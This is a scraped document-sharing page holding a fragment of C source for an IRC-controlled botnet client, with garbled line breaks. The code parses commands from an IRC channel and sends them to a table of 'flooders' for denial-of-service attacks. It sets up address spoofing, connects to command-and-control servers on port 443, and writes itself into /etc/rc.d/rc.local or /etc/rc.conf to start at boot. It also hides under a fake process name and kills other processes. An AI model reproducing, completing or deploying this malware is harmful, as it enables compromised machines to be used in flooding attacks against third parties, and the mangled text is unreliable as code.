Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 1

if (m >= num_params) break; for (i=0;i<strlen(message) && message[i] !

= ' ';i++);
params[m]=(char*)malloc(i+1); strncpy(params[m],message,i); params[m][i]=0; m++;
message+=i; } for (m=0; flooders[m].cmd != (char *)0; m++) { if (!
strcasecmp(flooders[m].cmd,name)) { flooders[m].func(sock,sender,num_params-
1,params); for (i=1;i<num_params;i++) free(params[i]); return; } } }}void _376(int
sock, char *sender, char *str) { Send(sock,"MODE %s -x\n",nick); Send(sock,"JOIN %s
:%s\n",chan,key); Send(sock,"WHO %s\n",nick);}void _PING(int sock, char *sender,
char *str) { Send(sock,"PONG %s\n",str);}void _352(int sock, char *sender, char
*str) { int i,d; char *msg=str; struct hostent *hostm; unsigned long m; for
(i=0,d=0;d<5;d++) { for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; if (i ==
strlen(str)) return; } for (i=0;i<strlen(msg) && msg[i] != ' ';i++); msg[i]=0; if
(!strcasecmp(msg,nick) && !spoofsm) { msg=str; for (i=0,d=0;d<3;d++) { for
(;i<strlen(str) && *msg != ' ';msg++,i++); msg++; if (i == strlen(str)) return; }
for (i=0;i<strlen(msg) && msg[i] != ' ';i++); msg[i]=0; if ((m = inet_addr(msg)) ==
-1) { if ((hostm=gethostbyname(msg)) == NULL) { Send(sock,"NOTICE %s :I'm having a
problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
return; } memcpy((char*)&m, hostm->h_addr, hostm->h_length); } ((char*)&spoofs)
[3]=((char*)&m)[0]; ((char*)&spoofs)[2]=((char*)&m)[1]; ((char*)&spoofs)
[1]=((char*)&m)[2]; ((char*)&spoofs)[0]=0; spoofsm=256; }}
void _433(int sock, char *sender, char *str) { free(nick); nick=makestring();}void
_NICK(int sock, char *sender, char *str) { int i; for (i=0;i<strlen(sender) &&
sender[i] != '!';i++); sender[i]=0; if (!strcasecmp(sender,nick)) { if (*str ==
':') str++; if (nick) free(nick); nick=strdup(str); }}struct Messages { char *cmd;
void (* func)(int,char *,char *); } msgs[] = { { "352", _352 }, { "376", _376 },
{ "433", _433 }, { "422", _376 }, { "PRIVMSG", _PRIVMSG }, { "PING", _PING },
{ "NICK", _NICK },{ (char *)0, (void (*)(int,char *,char *))0 } };void con()
{ struct sockaddr_in srv; unsigned long ipaddr,start; int flag; struct hostent
*hp;start: sock=-1; flag=1; if (changeservers == 0) server=servers[rand()
%numservers]; changeservers=0; while ((sock = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP)) < 0); if (inet_addr(server) == 0 || inet_addr(server) == -1) { if
((hp = gethostbyname(server)) == NULL) { server=NULL; close(sock); goto start; }
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length); } else
srv.sin_addr.s_addr=inet_addr(server); srv.sin_family = AF_INET; srv.sin_port =
htons(443); ioctl(sock,FIONBIO,&flag); start=time(NULL); while(time(NULL)-start <
10) { errno=0; if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 ||
errno == EISCONN) { setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); return; } if (!(errno == EINPROGRESS
||errno == EALREADY)) break; sleep(1); }
server=NULL; close(sock); goto start;}int main(int argc, char **argv) { int on,i;
char cwd[256],*str; FILE *file;#ifdef STARTUP str="/etc/rc.d/rc.local";
file=fopen(str,"r"); if (file == NULL) { str="/etc/rc.conf"; file=fopen(str,"r"); }
if (file != NULL) { char outfile[256], buf[1024]; int i=strlen(argv[0]), d=0;
getcwd(cwd,256); if (strcmp(cwd,"/")) { while(argv[0][i] != '/') i--;
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i); while(!feof(file))
{ fgets(buf,1024,file); if (!strcasecmp(buf,outfile)) d++; } if (d == 0) { FILE
*out; fclose(file); out=fopen(str,"a"); if (out != NULL) { fputs(outfile,out);
fclose(out); } } else fclose(file); } else fclose(file); }#endif if (fork())
exit(0);#ifdef FAKENAME strncpy(argv[0],FAKENAME,strlen(argv[0])); for
(on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));#endif srand((time(NULL) ^
getpid()) + getppid()); nick=makestring(); ident=makestring(); user=makestring();
chan=CHAN; key=KEY; server=NULL;sa:#ifdef IDENT for (i=0;i<numpids;i++) { if
(pids[i] != 0 && pids[i] != getpid()) { kill(pids[i],9);
waitpid(pids[i],NULL,WNOHANG); }

You might also like